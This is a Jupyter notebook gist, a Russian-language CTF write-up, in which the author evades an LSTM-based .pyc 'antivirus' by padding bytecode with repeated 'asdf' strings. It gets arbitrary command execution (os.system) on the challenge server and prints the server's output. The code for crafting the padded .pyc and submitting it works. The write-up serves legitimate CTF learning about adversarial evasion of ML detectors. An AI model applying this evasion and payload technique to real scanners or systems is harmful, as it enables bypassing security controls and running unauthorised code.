Skip to content

Instantly share code, notes, and snippets.

@konodyuk
Last active October 4, 2020 04:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save konodyuk/ff0945f0b21c97d80787dc8873c989ff to your computer and use it in GitHub Desktop.
Save konodyuk/ff0945f0b21c97d80787dc8873c989ff to your computer and use it in GitHub Desktop.
[AI CTF Writeup] New Age Antivirus
Display the source blob
Display the rendered blob
Raw
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# AI CTF Writeup [RU]"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## New Age Antivirus (300)\n",
"\n",
"В сервис нужно заслать .pyc файл, дальше из него вытягивается питоновский байткод и анализируется LSTM-кой. Если код проходит проверку, то .pyc запускается. "
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Для начала давайте локально потестим LSTM, для этого возьмем функцию `check` из исходников и вставим в нее дополнительно вывод `.predict_proba()`:\n",
"```python\n",
"# ...\n",
"blk = np.array([blk])\n",
"s = model.predict_classes(blk)\n",
"\n",
"p = model.predict_proba(blk)\n",
"print(p)\n",
"\n",
"dts[s[0][0]] += 1\n",
"# ...\n",
"```\n",
"В какой-то момент поймем, что модели нравятся последовательности вида `\"asdfasdf...\"`:"
]
},
{
"cell_type": "code",
"execution_count": 32,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.10863103]]\n"
]
},
{
"data": {
"text/plain": [
"False"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.00748315]]\n"
]
},
{
"data": {
"text/plain": [
"False"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.01911251]]\n"
]
},
{
"data": {
"text/plain": [
"False"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.09378698]]\n"
]
},
{
"data": {
"text/plain": [
"False"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.65560216]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.7792942]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.95265114]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.98815674]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.9892729]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[0.99021286]]\n"
]
},
{
"data": {
"text/plain": [
"True"
]
},
"execution_count": 32,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"for i in range(10):\n",
" check('asdf' * i, model)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Функция `check` работает следующим образом: проходится окном в 64 байта и делает предсказание для каждого окна. Далее подсчитывается количество срабатываний, и если число положительных больше числа отрицательных, то возвращается `True`. Отсюда возникает логичное желание вписать в байткод такое количество `\"asdf\"`, чтобы оно перекрыло любой код. При этом код должен остаться корректным, так как нас интересует его вывод. Будем дописывать `\"asdf\" * 100` в конец кода следующим образом:\n",
"\n",
"**process.py**\n",
"```python\n",
"import py_compile\n",
"py_compile.compile('exploit.py')\n",
"\n",
"import marshal\n",
"from types import CodeType\n",
"\n",
"code_init = marshal.loads(open('exploit.pyc', 'rb').read()[8:])\n",
"\n",
"processed_bytecode = code_init.co_code + 'asdf' * 100\n",
"\n",
"tmp = CodeType(\n",
" code_init.co_argcount, \n",
" code_init.co_nlocals, \n",
" code_init.co_stacksize, \n",
" code_init.co_flags, \n",
" processed_bytecode,\n",
" code_init.co_consts, \n",
" code_init.co_names, \n",
" code_init.co_varnames, \n",
" code_init.co_filename, \n",
" code_init.co_name, \n",
" code_init.co_firstlineno, \n",
" code_init.co_lnotab, \n",
" code_init.co_freevars, \n",
" code_init.co_cellvars \n",
")\n",
"\n",
"metadata = open('exploit.pyc', 'rb').read()[:8]\n",
"\n",
"data = marshal.dumps(tmp)\n",
"\n",
"with open('processed.pyc', 'wb') as f:\n",
" f.write(metadata + data)\n",
"```\n",
"\n",
"То есть сначала мы компилируем скрипт, потом вживляем `\"asdf\" * 100` в байткод, потом заворачиваем все это назад.\n",
"С помощью `os` можем выполнять любые команды, так что сначала запустим `ls /`.\n",
"\n",
"**exploit.py**\n",
"```python\n",
"import os\n",
"\n",
"print(os.system('ls /'))\n",
"```\n",
"\n",
"Запустим `python process.py` и отправим получившийся файл на сервер:"
]
},
{
"cell_type": "code",
"execution_count": 73,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"b'Hello! Plz, send me length of your pyc file as little endian integer\\n'"
]
},
"execution_count": 73,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"4"
]
},
"execution_count": 73,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"b'Good! Now I wait 627 bytes as pyc file body\\n'"
]
},
"execution_count": 73,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"627"
]
},
"execution_count": 73,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Here your answer:\n",
"\n",
"bin\n",
"boot\n",
"dev\n",
"etc\n",
"flag\n",
"home\n",
"lib\n",
"lib64\n",
"media\n",
"mnt\n",
"opt\n",
"proc\n",
"root\n",
"run\n",
"sbin\n",
"srv\n",
"sys\n",
"task\n",
"tmp\n",
"usr\n",
"var\n",
"1\n",
"0\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n"
]
}
],
"source": [
"from socket import socket\n",
"import os\n",
"import struct\n",
"\n",
"NAME = 'processed.pyc'\n",
"\n",
"def get_len():\n",
" return os.stat(NAME).st_size\n",
"\n",
"def get_len_le():\n",
" return struct.pack('<L', get_len())\n",
"\n",
"\n",
"sock = socket()\n",
"\n",
"sock.connect(('192.70.197.237', 9999))\n",
"\n",
"sock.recv(1024)\n",
"sock.send(get_len_le())\n",
"sock.recv(1024)\n",
"sock.sendfile(open(NAME, 'rb'))\n",
"\n",
"print(sock.recv(1024).decode())\n",
"\n",
"sock.close()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Видим подозрительную директорию `/task`, посмотрим, что там внутри."
]
},
{
"cell_type": "code",
"execution_count": 75,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"b'Hello! Plz, send me length of your pyc file as little endian integer\\n'"
]
},
"execution_count": 75,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"4"
]
},
"execution_count": 75,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"b'Good! Now I wait 635 bytes as pyc file body\\n'"
]
},
"execution_count": 75,
"metadata": {},
"output_type": "execute_result"
},
{
"data": {
"text/plain": [
"635"
]
},
"execution_count": 75,
"metadata": {},
"output_type": "execute_result"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Here your answer:\n",
"\n",
"total 3372\n",
"drwxr-xr-x 1 root root 4096 May 21 01:12 .\n",
"drwxr-xr-x 1 root root 4096 May 21 01:12 ..\n",
"-rwsr-sr-x 1 root root 13576 May 21 00:53 flag_reader\n",
"-rw-rw-r-- 1 root root 3416180 May 21 00:19 model.h5\n",
"-rw-rw-r-- 1 root root 4480 May 21 01:12 service.py\n",
"1\n",
"0\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n",
"\n"
]
}
],
"source": [
"sock = socket()\n",
"sock.connect(('192.70.197.237', 9999))\n",
"\n",
"sock.recv(1024)\n",
"sock.send(get_len_le())\n",
"sock.recv(1024)\n",
"sock.sendfile(open(NAME, 'rb'))\n",
"\n",
"print(sock.recv(1024).decode())\n",
"\n",
"sock.close()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Ага, `flag_reader`. Видим `s` в правах, значит бинарь запустится от имени владельца, то есть от рута. Дальше нужно запывнить бинарь и получить флаг."
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.6.1"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment